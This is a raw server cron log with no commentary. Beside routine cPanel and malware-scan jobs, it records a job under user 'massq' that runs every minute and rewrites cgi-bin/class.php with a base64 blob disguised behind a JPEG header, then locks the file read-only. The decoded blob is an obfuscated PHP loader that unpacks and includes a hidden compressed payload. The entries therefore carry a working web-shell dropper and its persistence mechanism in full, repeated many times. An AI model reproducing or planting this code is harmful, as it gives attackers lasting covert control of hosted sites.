Nov  9 08:28:01 server CROND[19549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:29:01 server CROND[20370]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:30:01 server CROND[21238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:30:01 server CROND[21239]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 08:30:01 server CROND[21241]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:30:01 server CROND[21247]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov  9 08:30:01 server CROND[21261]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:31:01 server CROND[22119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:32:01 server CROND[22930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:33:01 server CROND[23830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:34:01 server CROND[24665]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:35:01 server CROND[25338]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 08:35:01 server CROND[25339]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 08:35:01 server CROND[25342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:35:01 server CROND[25344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:35:01 server CROND[25345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:36:01 server CROND[26069]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:37:01 server CROND[26555]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:38:01 server CROND[27244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:39:01 server CROND[27725]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 08:39:01 server CROND[27726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:40:01 server CROND[28350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:40:01 server CROND[28352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:40:01 server CROND[28351]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 08:40:01 server CROND[28353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
